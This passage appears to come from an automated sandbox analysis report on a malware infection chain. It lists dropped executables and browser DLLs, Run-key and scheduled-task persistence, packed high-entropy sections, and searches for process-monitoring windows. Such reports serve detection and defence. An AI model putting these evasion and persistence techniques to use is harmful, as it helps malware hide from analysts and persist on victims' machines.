Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name:
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name: bleglpjp
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name: ozncbdew
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name: .taggant
Source: skotes.exe.42.dr Static PE information: section name:
Source: skotes.exe.42.dr Static PE information: section name: .idata
Source: skotes.exe.42.dr Static PE information: section name:
Source: skotes.exe.42.dr Static PE information: section name: bleglpjp
Source: skotes.exe.42.dr Static PE information: section name: ozncbdew
Source: skotes.exe.42.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 6_2_00B2D84C push ecx; ret 6_2_00B2D85F
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BEFB536 push ecx; ret 19_2_6BEFB549
Source: file.exe Static PE information: section name: entropy: 7.984703098673683
Source: file.exe Static PE information: section name: onyqalus entropy: 7.953710247945826
Source: axplong.exe.0.dr Static PE information: section name: entropy: 7.984703098673683
Source: axplong.exe.0.dr Static PE information: section name: onyqalus entropy: 7.953710247945826
Source: Final[1].exe.6.dr Static PE information: section name: .text entropy: 7.926984592050979
Source: Final.exe.6.dr Static PE information: section name: .text entropy: 7.926984592050979
Source: random[1].exe.6.dr Static PE information: section name: usisoqoi entropy: 7.953872207980885
Source: f99547c8e6.exe.6.dr Static PE information: section name: usisoqoi entropy: 7.953872207980885
Source: random[1].exe0.6.dr Static PE information: section name: entropy: 7.974910173943292
Source: 62dceeab4d.exe.6.dr Static PE information: section name: entropy: 7.974910173943292
Source: VGX14DCMPTTJ4O2LPZ4N.exe.20.dr Static PE information: section name: entropy: 7.791645043288012
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name: entropy: 7.979529969981847
Source: V30AHCO282KY2KV83OC4RNYNX.exe.20.dr Static PE information: section name: bleglpjp entropy: 7.953143642742956
Source: skotes.exe.42.dr Static PE information: section name: entropy: 7.979529969981847
Source: skotes.exe.42.dr Static PE information: section name: bleglpjp entropy: 7.953143642742956
Source: build.exe.7.dr, zlj0Ou.cs High entropy of concatenated method names: 'ToString', 'nGK', 'pv', 'no', 'e4VYI', 'iuPLV', 'x6AFVn', 'uC', 'gm', 'lN'
Source: 7.2.Final.exe.3515570.1.raw.unpack, zlj0Ou.cs High entropy of concatenated method names: 'ToString', 'nGK', 'pv', 'no', 'e4VYI', 'iuPLV', 'x6AFVn', 'uC', 'gm', 'lN'
Source: 7.2.Final.exe.354d1e8.0.raw.unpack, zlj0Ou.cs High entropy of concatenated method names: 'ToString', 'nGK', 'pv', 'no', 'e4VYI', 'iuPLV', 'x6AFVn', 'uC', 'gm', 'lN'
Drops PE files
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\chrome.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File created: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Final[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe File created: C:\Users\user\AppData\Local\Temp\build.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe File created: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe File created: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\chrome.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 62dceeab4d.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f99547c8e6.exe Jump to behavior
Monitors registry run keys for changes
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: RegmonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: FilemonClass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Filemonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: PROCMON_WINDOW_CLASS Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Window searched: window name: Regmonclass Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\V30AHCO282KY2KV83OC4RNYNX.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe Window searched: window name: PROCMON_WINDOW_CLASS
Creates job files (autostart)
Source: C:\Users\user\Desktop\file.exe File created: C:\Windows\Tasks\axplong.job Jump to behavior
Stores files to the Windows start menu directory
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f99547c8e6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f99547c8e6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 62dceeab4d.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 62dceeab4d.exe Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe Code function: 19_2_6BF255F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 19_2_6BF255F0
Source: C:\Users\user\Desktop\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
